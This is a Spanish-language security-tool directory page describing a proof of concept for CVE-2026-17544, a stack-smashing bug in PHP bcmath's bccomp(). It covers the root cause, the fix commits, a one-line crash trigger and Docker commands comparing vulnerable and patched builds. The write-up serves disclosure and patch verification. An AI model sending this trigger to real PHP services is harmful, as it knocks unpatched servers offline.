Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — Escritura fuera de límites (stack smashing) en bccomp() de PHP bcmath. Verificado: caída en 8.4.23/8.5.8, corregido en 8.4.24. GHSA-x692-q9x7-8c3f | Kitploit
Herramientas/GitHubGitHub/boreas37/cve-2026-17544-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — Escritura fuera de límites (stack smashing) en bccomp() de PHP bcmath. Verificado: caída en 8.4.23/8.5.8, corregido en 8.4.24. GHSA-x692-q9x7-8c3f

Ver Repositorio
63hace 8 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-17544 — PHP bcmath bccomp(): escritura fuera de límites (Stack Smashing)

CVSS 9.8 (Crítico) · CWE-787 · GHSA-x692-q9x7-8c3f

Resumen

bc_str2num() en ext/bcmath/libbcmath/src/str2num.c (libbcmath integrado, PHP 8.4+) contiene una escritura fuera de límites por desfase de N (off-by-N). Cuando la scale proporcionada por el usuario es menor que la escala automática del operando, la fracción se trunca y luego se realiza un recorte de ceros finales sin actualizar fractional_end. El búfer se asigna para la longitud recortada (más corta), pero la copia usa la longitud no recortada → desbordamiento de búfer en heap/stack.

Afectado: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 Corregido: PHP 8.4.24 / 8.5.9 (2026-07-30), commits fa18dab73f93 / ce2ec8a70755 Crédito del informador: Recep Asan (recepasan)

Causa raíz

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

La corrección de una línea (fractional_end = fractional_new_end;) junto con la prueba de regresión ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt se incorporaron en 8.4.24/8.5.9.

Disparador (verificado)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);

Verificado el 2026-08-12 en Raspberry Pi 5 (arm64) mediante Docker.

Uso

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

Impacto

  • DoS remoto: cualquier servicio que pase operandos/escala controlados por el atacante a bccomp() puede bloquearse de forma determinista (8.4/8.5, las compilaciones con stack protector abortan; las compilaciones sin protección corrompen registros guardados/dirección de retorno).
  • RCE: teóricamente posible mediante heap grooming, pero los bytes fuera de límites se limitan a valores BCD (0x00–0x09) y el tamaño del desbordamiento = número de ceros recortados — difícil, no demostrado.

Referencias

  • GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • Corrección 8.4: fa18dab73f93 · Corrección 8.5: ce2ec8a70755
Descargar herramienta
CompilaciónResultado
PHP 8.4.23 (vulnerable, Docker php:8.4.23-cli + bcmath)💥 *** stack smashing detected ***, exit 133 (SIGABRT)
PHP 8.5.8 (vulnerable)💥 igual: aborto determinista
PHP 8.4.24 (parcheada, php:8.4.24-cli)✅ int(1), exit 0